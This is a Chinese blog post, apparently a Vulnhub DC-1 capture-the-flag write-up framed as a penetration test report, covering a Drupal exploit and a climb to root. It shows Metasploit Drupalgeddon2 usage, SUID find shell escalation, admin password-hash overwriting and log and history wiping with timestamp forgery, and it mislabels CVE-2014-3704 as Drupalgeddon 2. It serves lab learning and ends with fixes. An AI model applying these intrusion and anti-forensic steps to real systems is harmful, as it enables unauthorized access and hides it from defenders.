详细介绍:00x01.Vulnhub系列DC-1靶机渗透测试:从Drupal漏洞到Root权限的完整攻防
2025-11-16 22:15 tlnshuju 阅读(0) 评论(0) 收藏 举报文档说明
| 项目 | 内容 |
|---|---|
| 文档编号 | 55K-RPT-2025-DC1 |
信息介绍
- 测试人员:雾里看浮光
- 运营人员:南知意、庭吖
- 公众号:
55K-学安全 - CSDN:HackShield_Pro的技术博客
- 博客园:JaseLee的个人博客
⚠️ 免责声明
重要提示
本次渗透测试报告中所有内容均在本地授权环境中进行。测试目的仅为安全研究与学习,提升安全防护能力。
请勿将文中所述技术用于任何非法用途,否则后果自负。
版权声明:本文由 55K-学安全 团队原创,转载请注明出处。
一、摘要
本次渗透测试针对Vulnhub DC-1靶机展开,成功利用Drupal框架远程代码执行漏洞(CVE-2014-3704,Drupalgeddon 2)获取初始权限。通过系统配置缺陷(SUID权限不当)实现权限提升至root,最终获取全部Flag文件。测试过程覆盖信息收集、漏洞分析、漏洞利用、后渗透攻击及痕迹清理全流程,验证了靶机存在的安全隐患。
二、环境准备
| 测试相关项 | 具体信息 |
|---|---|
| 测试目标 | DC-1 (Drupal 7.x) 漏洞评估与提权 |
| 测试环境 | VMware Workstation 17 Pro |
| 攻击系统 | Kali Linux 2024.x (IP: 172.168.20.21) |
| 靶机系统 | Vulnhub DC-1 (IP: 动态获取) |
| 网络模式 | 桥接模式或NAT(VMnet8) |
| 网络测试 | 通过ifconfig确认攻击机IP,使用arp-scan或netdiscover发现靶机 |
三、渗透测试流程
3.1 信息收集
信息收集是渗透测试的第一步,目的是尽可能多地发现目标系统的信息。
3.1.1 网络扫描
使用多工具协同定位靶机IP地址。
基于ARP协议扫描本地网络和Nmap主机发现(禁用端口扫描以提高效率)。
# 基于ARP协议扫描本地网络
┌──(root㉿kali)-[~/桌面]
└─# arp-scan –l
┌──(root㉿kali)-[~/桌面]
└─# arp-scan -I eth0 --localnet

# 推荐使用netdiscover
┌──(root㉿kali)-[~/桌面]
└─# netdiscover –i eth0 –r 172.168.20.0/24

┌──(root㉿kali)-[~/桌面]
└─# netdiscover –r 172.168.20.0/24

# Nmap主机发现(禁用端口扫描)
┌──(root㉿kali)-[~/桌面]
└─# nmap -sn -PE 172.168.20.0/24

3.1.2 端口扫描与服务枚举
使用Nmap工具对靶机进行端口扫描,查看开放的网络端口。
# 全端口扫描
┌──(root㉿kali)-[~/桌面]
└─# nmap -p- -v 172.168.20.33

使用Nmap工具对目标进行全端口扫描和服务版本探测。
# 服务版本探测
┌──(root㉿kali)-[~/桌面]
└─# nmap -sV -sC -O -p- 172.168.20.33

3.1.3.网站访问验证
使用浏览器访问http服务80端口,进入Web系统登录界面。
3.1.4.目录与敏感文件扫描
使用dirb扫描目标网站目录,重点检查/robots.txt(发现敏感路径)、/web.config(泄露配置密钥)和/xmlrpc.php(爆破入口)等文件,以定位潜在的攻击入口和信息泄露点。
# 重点检查文件
curl http://172.168.20.33/robots.txt
curl http://172.168.20.33/xmlrpc.php
curl http://172.168.20.33/web.config

查看/robots.txt、 /web.config、/xmlrpx.php三个文件中的内容信息


3.2 漏洞分析
3.2.1 Web指纹识别
通过使用whatweb工具对http://172.168.20.33进行Web指纹识别,确认其CMS为Drupal 7内容管理系统,特征包括响应头信息及页面底部的“Powered by Drupal”字样予以佐证。
┌──(root㉿kali)-[~/桌面]
└─# whatweb -v http://172.168.20.33



3.2.2.漏洞搜索与验证
使用searchsploit工具从本地漏洞库搜索公开可用的Drupal 7.x漏洞利用代码以获取攻击有效载荷。
┌──(root㉿kali)-[~/桌面]
└─# searchsploit drupal 7.x

3.3 漏洞利用
3.3.1 Metasploit自动化利用
Metasploit框架提供了成熟的漏洞利用模块,适合快速验证。
┌──(root㉿kali)-[~/桌面]
└─# msfconsole

msf6 > search drupal

msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 172.168.20.33
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 172.168.20.21
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

注:如果靶机存在该漏洞,MSF会成功建立一个Meterpreter shell会话。
3.3.2.手工漏洞利用与 Shell 获取
meterpreter > shell
meterpreter > python -c 'import pty; pty.spawn("/bin/bash")'

3.4.后渗透
3.4.1.系统信息枚举
www-data@DC-1:/var/www$ whoami
www-data@DC-1:/var/www$ id
www-data@DC-1:/var/www$ uname -a
www-data@DC-1:/var/www$ cat /etc/issue

3.4.2.SUID权限漏洞利用
www-data@DC-1:/var/www$ find / -perm -u=s -type f 2>/dev/null

3.4.3.利用Find命令提权(3选1)
www-data@DC-1:/var/www$ /usr/bin/find . -exec /bin/sh \; -quit

www-data@DC-1:/var/www$ /usr/bin/find . -exec /bin/bash -p \; -quit

www-data@DC-1:/var/www$ touch /tmp/hacked
www-data@DC-1:/var/www$ /usr/bin/find /tmp/hacked -exec "whoami" \;
www-data@DC-1:/var/www$ /usr/bin/find /tmp/hacked -exec "/bin/sh" \;
whoami

3.5.Flag收集
3.5.1.寻找Flag 1
# find / -name flag*.txt 2>/dev/null
# cat /var/www/flag1.txt
注:提示要找一个CMS的配置文件,配置文件基本都是settings.xxx,进行模糊查询。
3.5.2.寻找Flag 2
cd /var/www/
find . -name 'set*'
cat ./sites/default/settings.php
注:通过查看./sites/default/settings.php配置文件,发现了flag2以及数据库的账户和密码。
3.5.3.寻找Flag 3
mysql -udbuser -pR0ck3t

mysql> show databases;

mysql> use drupaldb

mysql> show tables;


mysql> select * from users\G;
mysql> exit;

pwd
find . -name '*hash*'
php scripts/password-hash.sh 新密码
./password-hash.sh 新密码

注:php scripts/password-hash.sh Ceshi-001是“内核”调用,而./password-hash.sh Ceshi-002是“包装后”的调用。在不确定的情况下,优先使用“内核”调用。
mysql -udbuser -pR0ck3t
mysql> use drupaldb
mysql> update users set pass='$S$DS0GEB40PuqWJ2nM4.emstYxG9V2gs/Njhn707b6ptVYn0ZRZreK' where name='admin';
mysql> select * from drupaldb.users where name='admin'\G;

登录靶机的Drupal站点:
- 登陆账号:admin
- 登陆密码:Censhi-001



3.5.4.寻找Flag 4
find / -name 'flag*'
cat /etc/passwd
cat /home/flag4/flag4.txt

3.5.5.寻找Flag 5
cd /root
ls
cat thefinalflag.txt

3.6 清理痕迹
这是最容易被遗忘的一点。你执行的所有命令都会被 shell(如 bash)记录下来。
3.6.1 操作历史清理
Shell 会记录用户输入的命令历史,这是最直接的证据来源。我们清除了当前用户 (www-data) 和 root 用户的命令历史记录。
export HISTSIZE=0
/home/www-data/.bash_history 2>/dev/null
/root/.bash_history
rm -f /root/.bash_history /home/*/.bash_history /home/.*/.bash_history 2>/dev/null

3.6.2.系统日志清理
sed -i '/172\.168\.20\.21/d' /var/log/auth.log /var/log/syslog 2>/dev/null
sed -i '/www-data/d' /var/log/auth.log 2>/dev/null
sed -i '/172\.168\.20\.21/d' /var/log/apache2/access.log /var/log/apache2/error.log 2>/dev/null

3.6.3.时间戳伪装
reference_file="/bin/ls"
ref_timestamp=$(stat -c %y "$reference_file")
touch -d "$ref_timestamp" /tmp/hacked

3.6.4 其他痕迹清理
- 进程清理:确保没有留下任何后门进程或可疑连接。使用
ps auxf和netstat -antp进行检查。 - 文件清理:移除上传的任何工具或脚本(本例中未提及上传额外工具)。
- 临时文件:删除在
/tmp/、/var/tmp/等目录创建的临时文件。
四、总结与修复建议
4.1 漏洞总结
- Drupal远程代码执行漏洞(CVE-2014-3704):未及时更新CMS导致攻击者可远程执行任意代码。
- SUID权限滥用:
/usr/bin/find被错误设置SUID位,允许普通用户执行root权限命令。 - 敏感信息泄露:数据库配置文件(
settings.php)未限制访问,泄露账号密码。 - 弱密码策略:数据库用户使用弱密码(
R0ck3t),增加被爆破风险。
4.2 修复建议
及时更新软件:
- 升级Drupal至最新版本(当前最新为9.5.x),启用自动更新或定期检查漏洞公告。
- 保持操作系统和第三方组件(如PHP、MySQL)最新。
权限最小化:
- 执行
find / -perm -u=s -type f 2>/dev/null审计SUID文件,移除不必要的SUID权限。 - 限制Web服务器用户(www-data)的文件访问权限,仅允许访问必要目录。
- 执行
安全配置强化:
- 移除Drupal默认文件(如
CHANGELOG.txt),修改敏感目录权限。 - 数据库配置文件(
settings.php)设置为仅www-data用户可读(chmod 600 settings.php)。 - 采用强密码策略,数据库用户密码使用复杂字符串并定期更换。
- 移除Drupal默认文件(如
网络安全防护:
- 在DMZ区域部署Web服务器,仅开放80/443端口,禁止直接访问内部网络。
- 启用Web应用防火墙(WAF),过滤针对Drupal的恶意请求。
定期安全审计:
- 使用Nmap、OpenVAS等工具定期扫描系统漏洞。
- 对Web应用进行代码审计,重点关注用户输入处理逻辑。
附录:工具表
| 工具名称 | 用途描述 | 使用阶段 | 常用参数 | 示例用法 |
|---|---|---|---|---|
| arp-scan | 基于ARP协议的局域网主机发现工具 | 信息收集 | -I eth0 --localnet | arp-scan -I eth0 --localnet |
| netdiscover | 主动/被动扫描局域网主机,支持CIDR范围扫描 | 信息收集 | -i eth0 –r 172.168.20.0/24 | netdiscover -r 172.168.20.0/24 |
| Nmap | 网络扫描与服务枚举工具,支持端口扫描、版本探测和系统指纹识别 | 信息收集 | -sV -sC -O -p- | nmap -sV -p- 172.168.20.33 |
| whatweb | Web应用指纹识别工具,检测CMS、框架及服务器信息 | 信息收集 | -v | whatweb -v http://target.com |
| dirb | 目录扫描工具,检测Web服务器敏感目录和文件 | 信息收集 | dirb http://target.com | |
| searchsploit | 本地漏洞库搜索工具,基于Exploit-DB数据库 | 漏洞分析 | searchsploit drupal 7.x | |
| Metasploit | 渗透测试框架,包含漏洞利用模块、Payload和后渗透工具 | 漏洞利用 | msfconsole, use exploit/… | |
| mysql | 数据库客户端,用于连接和操作MySQL数据库 | 后渗透攻击 | -uusername -ppassword | mysql -udbuser -pR0ck3t |
备注:本次测试严格遵循授权安全测试流程,所有操作仅用于技术学习与安全研究。实际渗透测试中需获得明确授权。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/967418.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!
